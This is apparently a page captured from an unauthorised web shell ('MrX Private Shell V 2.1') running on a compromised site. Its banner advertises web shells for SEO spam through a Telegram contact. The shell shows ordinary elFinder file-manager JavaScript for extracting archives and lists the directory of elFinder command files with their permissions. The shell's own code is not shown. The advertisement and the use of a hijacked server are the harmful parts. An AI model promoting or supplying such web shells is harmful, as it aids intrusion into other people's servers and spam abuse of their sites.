__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @class elFinder command "extract"
* Extract files from archive
*
* @author Dmitry (dio) Levashov
**/
elFinder.prototype.commands.extract = function() {
"use strict";
var self = this,
fm = self.fm,
mimes = [],
filter = function(files) {
var fres = true;
return jQuery.grep(files, function(file) {
fres = fres && file.read && jQuery.inArray(file.mime, mimes) !== -1 ? true : false;
return fres;
});
};
this.variants = [];
this.disableOnSearch = true;
// Update mimes list on open/reload
fm.bind('open reload', function() {
mimes = fm.option('archivers')['extract'] || [];
if (fm.api > 2) {
self.variants = [[{makedir: true}, fm.i18n('cmdmkdir')], [{}, fm.i18n('btnCwd')]];
} else {
self.variants = [[{}, fm.i18n('btnCwd')]];
}
self.change();
});
this.getstate = function(select) {
var sel = this.files(select),
cnt = sel.length,
cwdHash, cwdChk;
if (!cnt || filter(sel).length != cnt) {
return -1;
} else if (fm.searchStatus.state > 0) {
cwdHash = this.fm.cwd().hash;
jQuery.each(sel, function(i, file) {
cwdChk = (file.phash === cwdHash);
return cwdChk;
});
return cwdChk? 0 : -1;
} else {
return this.fm.cwd().write? 0 : -1;
}
};
this.exec = function(hashes, opts) {
var files = this.files(hashes),
dfrd = jQuery.Deferred(),
cnt = files.length,
makedir = opts && opts.makedir ? 1 : 0,
i, error,
decision,
overwriteAll = false,
omitAll = false,
mkdirAll = 0,
siblings = fm.files(files[0].phash),
names = [],
map = {};
jQuery.each(siblings, function(id, file) {
map[file.name] = file;
names.push(file.name);
});
var decide = function(decision) {
switch (decision) {
case 'overwrite_all' :
overwriteAll = true;
break;
case 'omit_all':
omitAll = true;
break;
}
};
var unpack = function(file) {
if (!(file.read && fm.file(file.phash).write)) {
error = ['errExtract', file.name, 'errPerm'];
fm.error(error);
dfrd.reject(error);
} else if (jQuery.inArray(file.mime, mimes) === -1) {
error = ['errExtract', file.name, 'errNoArchive'];
fm.error(error);
dfrd.reject(error);
} else {
fm.request({
data:{cmd:'extract', target:file.hash, makedir:makedir},
notify:{type:'extract', cnt:1},
syncOnFail:true,
navigate:{
toast : makedir? {
incwd : {msg: fm.i18n(['complete', fm.i18n('cmdextract')]), action: {cmd: 'open', msg: 'cmdopen'}},
inbuffer : {msg: fm.i18n(['complete', fm.i18n('cmdextract')]), action: {cmd: 'open', msg: 'cmdopen'}}
} : {
inbuffer : {msg: fm.i18n(['complete', fm.i18n('cmdextract')])}
}
}
})
.fail(function (error) {
if (dfrd.state() != 'rejected') {
dfrd.reject(error);
}
})
.done(function () {
});
}
};
var confirm = function(files, index) {
var file = files[index],
name = fm.splitFileExtention(file.name)[0],
existed = (jQuery.inArray(name, names) >= 0),
next = function(){
if((index+1) < cnt) {
confirm(files, index+1);
} else {
dfrd.resolve();
}
};
if (!makedir && existed && map[name].mime != 'directory') {
fm.confirm(
{
title : fm.i18n('ntfextract'),
text : ['errExists', name, 'confirmRepl'],
accept:{
label : 'btnYes',
callback:function (all) {
decision = all ? 'overwrite_all' : 'overwrite';
decide(decision);
if(!overwriteAll && !omitAll) {
if('overwrite' == decision) {
unpack(file);
}
if((index+1) < cnt) {
confirm(files, index+1);
} else {
dfrd.resolve();
}
} else if(overwriteAll) {
for (i = index; i < cnt; i++) {
unpack(files[i]);
}
dfrd.resolve();
}
}
},
reject : {
label : 'btnNo',
callback:function (all) {
decision = all ? 'omit_all' : 'omit';
decide(decision);
if(!overwriteAll && !omitAll && (index+1) < cnt) {
confirm(files, index+1);
} else if (omitAll) {
dfrd.resolve();
}
}
},
cancel : {
label : 'btnCancel',
callback:function () {
dfrd.resolve();
}
},
all : ((index+1) < cnt)
}
);
} else if (!makedir) {
if (mkdirAll == 0) {
fm.confirm({
title : fm.i18n('cmdextract'),
text : [fm.i18n('cmdextract')+' "'+file.name+'"', 'confirmRepl'],
accept:{
label : 'btnYes',
callback:function (all) {
all && (mkdirAll = 1);
unpack(file);
next();
}
},
reject : {
label : 'btnNo',
callback:function (all) {
all && (mkdirAll = -1);
next();
}
},
cancel : {
label : 'btnCancel',
callback:function () {
dfrd.resolve();
}
},
all : ((index+1) < cnt)
});
} else {
(mkdirAll > 0) && unpack(file);
next();
}
} else {
unpack(file);
next();
}
};
if (!(this.enabled() && cnt && mimes.length)) {
return dfrd.reject();
}
if(cnt > 0) {
confirm(files, 0);
}
return dfrd;
};
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| archive.js | File | 2.47 KB | 0640 |
|
| back.js | File | 512 B | 0640 |
|
| chmod.js | File | 9.37 KB | 0640 |
|
| colwidth.js | File | 480 B | 0640 |
|
| copy.js | File | 986 B | 0640 |
|
| cut.js | File | 1.12 KB | 0640 |
|
| download.js | File | 16.61 KB | 0640 |
|
| duplicate.js | File | 1.36 KB | 0640 |
|
| edit.js | File | 34.48 KB | 0640 |
|
| empty.js | File | 3.32 KB | 0640 |
|
| extract.js | File | 5.18 KB | 0640 |
|
| forward.js | File | 509 B | 0640 |
|
| fullscreen.js | File | 1.05 KB | 0640 |
|
| getfile.js | File | 4.07 KB | 0640 |
|
| help.js | File | 14.21 KB | 0640 |
|
| hidden.js | File | 276 B | 0640 |
|
| hide.js | File | 4.26 KB | 0640 |
|
| home.js | File | 528 B | 0640 |
|
| info.js | File | 13.13 KB | 0640 |
|
| mkdir.js | File | 2.51 KB | 0640 |
|
| mkfile.js | File | 1.64 KB | 0640 |
|
| netmount.js | File | 10.43 KB | 0640 |
|
| open.js | File | 6.78 KB | 0640 |
|
| opendir.js | File | 886 B | 0640 |
|
| opennew.js | File | 1.21 KB | 0640 |
|
| paste.js | File | 10.17 KB | 0640 |
|
| places.js | File | 773 B | 0640 |
|
| preference.js | File | 21.37 KB | 0640 |
|
| quicklook.js | File | 23.87 KB | 0640 |
|
| quicklook.plugins.js | File | 58.51 KB | 0640 |
|
| reload.js | File | 1.86 KB | 0640 |
|
| rename.js | File | 15.92 KB | 0640 |
|
| resize.js | File | 52.17 KB | 0640 |
|
| restore.js | File | 7.45 KB | 0640 |
|
| rm.js | File | 14.42 KB | 0640 |
|
| search.js | File | 4.01 KB | 0640 |
|
| selectall.js | File | 606 B | 0640 |
|
| selectinvert.js | File | 471 B | 0640 |
|
| selectnone.js | File | 530 B | 0640 |
|
| sort.js | File | 4.32 KB | 0640 |
|
| undo.js | File | 3.62 KB | 0640 |
|
| up.js | File | 710 B | 0640 |
|
| upload.js | File | 12.4 KB | 0640 |
|
| view.js | File | 2.8 KB | 0640 |
|